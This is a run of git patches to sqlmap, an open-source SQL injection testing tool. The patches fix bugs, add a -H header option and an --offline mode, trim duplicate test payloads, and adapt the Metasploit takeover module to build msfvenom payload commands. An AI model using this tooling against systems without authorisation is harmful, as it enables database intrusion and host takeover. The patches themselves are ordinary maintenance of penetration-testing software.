From b02be9674f8c5230d76f78a49ce43b2333a17cb8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Jun 2015 10:11:34 +0200 Subject: [PATCH 01/88] Fixes #1277 --- lib/core/agent.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index f200d8f75..317d5c656 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -174,7 +174,10 @@ class Agent(object): while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: - repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + try: + repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break else: break retVal = string[:match.start()] + repl + string[match.end():] @@ -185,6 +188,7 @@ class Agent(object): retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) From b212321c07e6fe02da720cf1b8034990d76f495c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Jun 2015 10:30:53 +0200 Subject: [PATCH 02/88] Fixes #1278 --- lib/core/agent.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 317d5c656..cf1005c3c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -245,8 +245,7 @@ class Agent(object): if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " - if query: - query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) + query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query From 97244f5e5ef069cc90919a6628fcd230431472b3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Jun 2015 00:20:35 +0200 Subject: [PATCH 03/88] Fixes #1279 --- lib/core/agent.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/core/agent.py b/lib/core/agent.py index cf1005c3c..59c361455 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -217,6 +217,9 @@ class Agent(object): if conf.direct: return self.payloadDirect(expression) + if expression is None: + return None + expression = self.cleanupPayload(expression) expression = unescaper.escape(expression) query = None @@ -258,6 +261,9 @@ class Agent(object): if conf.direct: return self.payloadDirect(expression) + if expression is None: + return None + expression = self.cleanupPayload(expression) # Take default values if None From 8b63ee9bc39edc7d62e563af02c3a1ef77ae4437 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Jun 2015 01:12:14 +0200 Subject: [PATCH 04/88] Minor update for #1281 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index df20fdcc8..2eba19026 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -289,7 +289,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): line = line.strip('\r') match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None - if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None: + if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: data = "" params = True From 7b95a2d80dfda1accf5594e7224fd278d6561173 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Jun 2015 10:05:16 +0200 Subject: [PATCH 05/88] Patch for an Issue #1280 --- lib/core/option.py | 31 +++++++++++++++++++++++-------- lib/takeover/metasploit.py | 28 ++++++++++++++++++++++------ 2 files changed, 45 insertions(+), 14 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 2eba19026..db7cb8c44 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -766,8 +766,14 @@ def _setMetasploit(): if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): - if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")): + if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole")): msfEnvPathExists = True + if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): + kb.msfVenom = True + elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): + kb.msfVenom = False + else: + msfEnvPathExists = False conf.msfPath = path break @@ -798,15 +804,23 @@ def _setMetasploit(): for envPath in envPaths: envPath = envPath.replace(";", "") - if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")): - infoMsg = "Metasploit Framework has been found " - infoMsg += "installed in the '%s' path" % envPath - logger.info(infoMsg) - + if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")): msfEnvPathExists = True - conf.msfPath = envPath + if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): + kb.msfVenom = True + elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): + kb.msfVenom = False + else: + msfEnvPathExists = False - break + if msfEnvPathExists: + infoMsg = "Metasploit Framework has been found " + infoMsg += "installed in the '%s' path" % envPath + logger.info(infoMsg) + + conf.msfPath = envPath + + break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " @@ -1794,6 +1808,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None + kb.msfVenom = False kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 4f7b43887..14364c77d 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -24,6 +24,7 @@ from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS @@ -63,6 +64,7 @@ class Metasploit: self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) + self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) if IS_WIN: _ = conf.msfPath @@ -78,6 +80,7 @@ class Metasploit: self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) + self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) self._msfPayloadsList = { "windows": { @@ -361,7 +364,11 @@ class Metasploit: self._cliCmd += " E" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr) + if kb.msfVenom: + self._payloadCmd = "%s -p" % self._msfVenom + else: + self._payloadCmd = self._msfPayload + self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr @@ -373,13 +380,22 @@ class Metasploit: if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" - if extra == "BufferRegister=EAX": - self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) + if kb.msfVenom: + if extra == "BufferRegister=EAX": + self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) - if extra is not None: - self._payloadCmd += " %s" % extra + if extra is not None: + self._payloadCmd += " %s" % extra + else: + self._payloadCmd += " -f exe > \"%s\"" % outFile else: - self._payloadCmd += " X > \"%s\"" % outFile + if extra == "BufferRegister=EAX": + self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) + + if extra is not None: + self._payloadCmd += " %s" % extra + else: + self._payloadCmd += " X > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() From 1f71d809d42ada25eb2adcf491a908709eef0f59 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Jul 2015 08:55:33 +0200 Subject: [PATCH 06/88] Fixes #1288 --- lib/controller/checks.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 14d93936d..718b4e17f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -706,7 +706,8 @@ def checkFalsePositives(injection): retVal = injection - if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\ + (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place From 166dc98e812dcd978c1d177000a1a607d2193f6d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Jul 2015 00:03:29 +0200 Subject: [PATCH 07/88] Minor patch --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 59c361455..ad812f217 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -68,7 +68,7 @@ class Agent(object): return query - def payload(self, place=None, parameter=None, value=None, newValue=None, where=None): + def payload(self, place=None, parameter=None, value=None, newValue="", where=None): """ This method replaces the affected parameter with the SQL injection statement to request From 96327b6701eb8605c27b85d27fa1c008e2714aef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Jul 2015 01:47:01 +0200 Subject: [PATCH 08/88] Fixes #1290 --- lib/controller/checks.py | 9 ++++++--- lib/core/agent.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 718b4e17f..aa4ee4f29 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -386,9 +386,12 @@ def checkSqlInjection(place, parameter, value): # Forge request payload by prepending with boundary's # prefix and appending the boundary's suffix to the # test's ' ' string - boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) - boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) - reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + if fstPayload: + boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) + boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) + reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + else: + reqPayload = None # Perform the test's request and check whether or not the # payload was successful diff --git a/lib/core/agent.py b/lib/core/agent.py index ad812f217..59c361455 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -68,7 +68,7 @@ class Agent(object): return query - def payload(self, place=None, parameter=None, value=None, newValue="", where=None): + def payload(self, place=None, parameter=None, value=None, newValue=None, where=None): """ This method replaces the affected parameter with the SQL injection statement to request From 6a1b3895f9f808fdc1cb63a07f43eda5c524bbbc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 6 Jul 2015 11:50:59 +0200 Subject: [PATCH 09/88] Patch for an Issue #1285 --- lib/core/target.py | 96 ++++++++++++++++++++++++++-------------------- 1 file changed, 55 insertions(+), 41 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 90d2a68bd..0fb70769c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -80,6 +80,7 @@ def _setRequestParams(): return testableParameters = False + skipHeaders = False # Perform checks on GET parameters if conf.parameters.get(PLACE.GET): @@ -123,11 +124,17 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") - if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: - warnMsg = "it seems that you've provided empty parameter value(s) " - warnMsg += "for testing. Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + if kb.processUserMarks: + skipHeaders = True + + conf.parameters.clear() + conf.paramDict.clear() + + if "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): @@ -241,11 +248,17 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") - if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: - warnMsg = "it seems that you've provided empty parameter value(s) " - warnMsg += "for testing. Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + if kb.processUserMarks: + skipHeaders = True + + conf.parameters.clear() + conf.paramDict.clear() + + if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: @@ -304,49 +317,50 @@ def _setRequestParams(): if conf.get(item): conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "") - # Perform checks on Cookie parameters - if conf.cookie: - conf.parameters[PLACE.COOKIE] = conf.cookie - paramDict = paramToDict(PLACE.COOKIE, conf.cookie) + if not skipHeaders: + # Perform checks on Cookie parameters + if conf.cookie: + conf.parameters[PLACE.COOKIE] = conf.cookie + paramDict = paramToDict(PLACE.COOKIE, conf.cookie) - if paramDict: - conf.paramDict[PLACE.COOKIE] = paramDict - testableParameters = True + if paramDict: + conf.paramDict[PLACE.COOKIE] = paramDict + testableParameters = True - # Perform checks on header values - if conf.httpHeaders: - for httpHeader, headerValue in conf.httpHeaders: - # Url encoding of the header values should be avoided - # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value + # Perform checks on header values + if conf.httpHeaders: + for httpHeader, headerValue in conf.httpHeaders: + # Url encoding of the header values should be avoided + # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value - httpHeader = httpHeader.title() + httpHeader = httpHeader.title() - if httpHeader == HTTP_HEADER.USER_AGENT: - conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) + if httpHeader == HTTP_HEADER.USER_AGENT: + conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES))) - if condition: - conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} - testableParameters = True + if condition: + conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} + testableParameters = True - elif httpHeader == HTTP_HEADER.REFERER: - conf.parameters[PLACE.REFERER] = urldecode(headerValue) + elif httpHeader == HTTP_HEADER.REFERER: + conf.parameters[PLACE.REFERER] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES))) - if condition: - conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} - testableParameters = True + if condition: + conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} + testableParameters = True - elif httpHeader == HTTP_HEADER.HOST: - conf.parameters[PLACE.HOST] = urldecode(headerValue) + elif httpHeader == HTTP_HEADER.HOST: + conf.parameters[PLACE.HOST] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES))) - if condition: - conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} - testableParameters = True + if condition: + conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} + testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " From f488377001ed3b9cb781f2b67a5adc5e1433108d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jul 2015 08:47:07 +0200 Subject: [PATCH 10/88] Fixes #1293 --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 60cadde7b..c2933ad1a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -114,7 +114,7 @@ def cmdLineParser(): action="store_true", help="Ignore Set-Cookie header from response") - request.add_option("--user-agent", dest="agent", + request.add_option("-H", "--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_option("--random-agent", dest="randomAgent", From 2080fcaa37d886bbcd697409ff176840bc01110d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jul 2015 09:24:16 +0200 Subject: [PATCH 11/88] Fixes #1293 --- lib/core/common.py | 2 +- lib/core/option.py | 3 +++ lib/parse/cmdline.py | 15 ++++++++++++++- 3 files changed, 18 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 08e6cc46e..91029490b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3285,7 +3285,7 @@ def expandMnemonics(mnemonics, parser, args): pointer = pointer.next[char] pointer.current.append(option) - for mnemonic in mnemonics.split(','): + for mnemonic in (mnemonics or "").split(','): found = None name = mnemonic.split('=')[0].replace("-", "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None diff --git a/lib/core/option.py b/lib/core/option.py index db7cb8c44..7097b9ac6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1339,6 +1339,9 @@ def _setHTTPExtraHeaders(): conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") for headerValue in conf.headers: + if not headerValue.strip(): + continue + if headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c2933ad1a..a374b4fa5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -114,7 +114,7 @@ def cmdLineParser(): action="store_true", help="Ignore Set-Cookie header from response") - request.add_option("-H", "--user-agent", dest="agent", + request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_option("--random-agent", dest="randomAgent", @@ -127,6 +127,9 @@ def cmdLineParser(): request.add_option("--referer", dest="referer", help="HTTP Referer header value") + request.add_option("-H", "--header", dest="header", + help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") @@ -799,6 +802,7 @@ def cmdLineParser(): argv = [] prompt = False advancedHelp = True + extraHeaders = [] for arg in sys.argv: argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding())) @@ -860,6 +864,9 @@ def cmdLineParser(): for i in xrange(len(argv)): if argv[i] == "-hh": argv[i] = "-h" + elif argv[i] == "-H": + if i + 1 < len(argv): + extraHeaders.append(argv[i + 1]) elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True @@ -888,6 +895,12 @@ def cmdLineParser(): print "\n[!] to see full list of options run with '-hh'" raise + if extraHeaders: + if not args.headers: + args.headers = "" + delimiter = "\\n" if "\\n" in args.headers else "\n" + args.headers += delimiter + delimiter.join(extraHeaders) + # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": From 3a5cc989767d3371b08996345d2087902b31afff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jul 2015 09:27:18 +0200 Subject: [PATCH 12/88] -Z is/are a pseudo-option (just like -H) expanded during the run --- lib/core/optiondict.py | 1 - sqlmap.conf | 3 --- 2 files changed, 4 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 49eae9230..587db58b9 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -209,7 +209,6 @@ optDict = { }, "Miscellaneous": { - "mnemonics": "string", "alert": "string", "answers": "string", "beep": "boolean", diff --git a/sqlmap.conf b/sqlmap.conf index 0fc5fb728..f9f30e759 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -715,9 +715,6 @@ updateAll = False [Miscellaneous] -# Use short mnemonics (e.g. "flu,bat,ban,tec=EU"). -mnemonics = - # Run host OS command(s) when SQL injection is found. alert = From ca2f63c6725ed5651dc5037e6f6b0d104800792e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 00:37:59 +0200 Subject: [PATCH 13/88] Test speed up in case of boolean based blind --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index aa4ee4f29..3b1bc7f0d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -426,7 +426,7 @@ def checkSqlInjection(place, parameter, value): trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage = threadData.lastComparisonPage or "" - if trueResult: + if trueResult and truePage != falsePage: falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) # Perform the test's False request From 48b627f3ff5fc364d2e49450f88e3c64ac6076a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 00:54:02 +0200 Subject: [PATCH 14/88] Prevent double tests (e.g. in same final tests where suffix is cut by the comment) --- lib/controller/checks.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 3b1bc7f0d..6949d3746 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -90,6 +90,7 @@ def checkSqlInjection(place, parameter, value): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place tests = getSortedInjectionTests() + seenPayload = set() while tests: test = tests.pop(0) @@ -390,6 +391,11 @@ def checkSqlInjection(place, parameter, value): boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + if reqPayload: + if reqPayload in seenPayload: + continue + else: + seenPayload.add(reqPayload) else: reqPayload = None From 02470ea6832eafa121913ec339fcec9a164c92c5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 01:19:46 +0200 Subject: [PATCH 15/88] Further decreasing number of testing payloads --- lib/controller/checks.py | 11 +++++++++++ lib/core/option.py | 1 + 2 files changed, 12 insertions(+) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6949d3746..0cd4bbc82 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -525,6 +525,17 @@ def checkSqlInjection(place, parameter, value): infoMsg += "there is at least one other (potential) " infoMsg += "technique found" singleTimeLogMessage(infoMsg) + elif not injection.data: + _ = test.request.columns.split('-')[-1] + if _.isdigit() and int(_) > 10: + if kb.futileUnion is None: + msg = "it is not recommended to perform " + msg += "extended UNION tests if there is not " + msg += "at least one other (potential) " + msg += "technique found. Do you want to skip? [Y/n] " + kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N' + if kb.futileUnion is False: + continue # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) diff --git a/lib/core/option.py b/lib/core/option.py index 7097b9ac6..c5b681d4b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1788,6 +1788,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False + kb.futileUnion = None kb.headersFp = {} kb.heuristicDbms = None kb.heuristicMode = False From 9ff115ce71cc46df82a52303033ef3ef158148e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 01:33:53 +0200 Subject: [PATCH 16/88] Minor patch --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 0cd4bbc82..b6901f923 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -432,7 +432,7 @@ def checkSqlInjection(place, parameter, value): trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage = threadData.lastComparisonPage or "" - if trueResult and truePage != falsePage: + if trueResult and not(truePage == falsePage and not kb.nullConnection): falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) # Perform the test's False request From 4baaa4a5ad1ea75e4826ee10f6b21412362d2394 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 09:24:14 +0200 Subject: [PATCH 17/88] Minor improvement --- lib/controller/checks.py | 9 +++++++-- lib/core/option.py | 1 + 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b6901f923..8bb320531 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1015,11 +1015,15 @@ def checkStability(): like for instance string matching (--string). """ - infoMsg = "testing if the target URL is stable. This can take a couple of seconds" + infoMsg = "testing if the target URL is stable. This can take up to a second" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() - time.sleep(1) + + delay = 1 - (time.time() - (kb.originalPageTime or 0)) + delay = max(0, min(1, delay)) + time.sleep(delay) + secondPage, _ = Request.queryPage(content=True, raise404=False) if kb.redirectChoice: @@ -1306,6 +1310,7 @@ def checkConnection(suppressOutput=False): try: page, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page + kb.originalPageTime = time.time() kb.errorIsNone = False diff --git a/lib/core/option.py b/lib/core/option.py index c5b681d4b..97f211e17 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1819,6 +1819,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.orderByColumns = None kb.originalCode = None kb.originalPage = None + kb.originalPageTime = None kb.originalTimeDelay = None kb.originalUrls = dict() From 0ba264bfa0d1d7ea6c0a7919d7499e5bea356784 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 09:51:11 +0200 Subject: [PATCH 18/88] Minor patch --- lib/controller/checks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 8bb320531..59c0c2969 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1015,7 +1015,7 @@ def checkStability(): like for instance string matching (--string). """ - infoMsg = "testing if the target URL is stable. This can take up to a second" + infoMsg = "testing if the target URL is stable. Delay can take up to a second" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() @@ -1308,9 +1308,9 @@ def checkConnection(suppressOutput=False): logger.info(infoMsg) try: + kb.originalPageTime = time.time() page, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page - kb.originalPageTime = time.time() kb.errorIsNone = False From 9bdbdc136f38ef5a1f80e4d735c05197847d0331 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 11:33:12 +0200 Subject: [PATCH 19/88] Minor cosmetics update --- lib/controller/controller.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3fb86150d..90043a5b0 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -155,8 +155,11 @@ def _formatInjection(inj): return data def _showInjections(): - header = "sqlmap identified the following injection points with " - header += "a total of %d HTTP(s) requests" % kb.testQueryCount + if kb.testQueryCount > 0: + header = "sqlmap identified the following injection point(s) with " + header += "a total of %d HTTP(s) requests" % kb.testQueryCount + else: + header = "sqlmap resumed the following injection point(s) from stored session" if hasattr(conf, "api"): conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) From 10f8c6a0b6a44328caa83d8c9b5895332d5f62f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 16:10:24 +0200 Subject: [PATCH 20/88] Introducing --offline switch (to perform session only lookups) --- lib/controller/checks.py | 8 ++++---- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 4 ++++ lib/request/connect.py | 4 +++- lib/request/inject.py | 2 +- sqlmap.conf | 4 ++++ 6 files changed, 17 insertions(+), 6 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 59c0c2969..4c1e14c7e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ 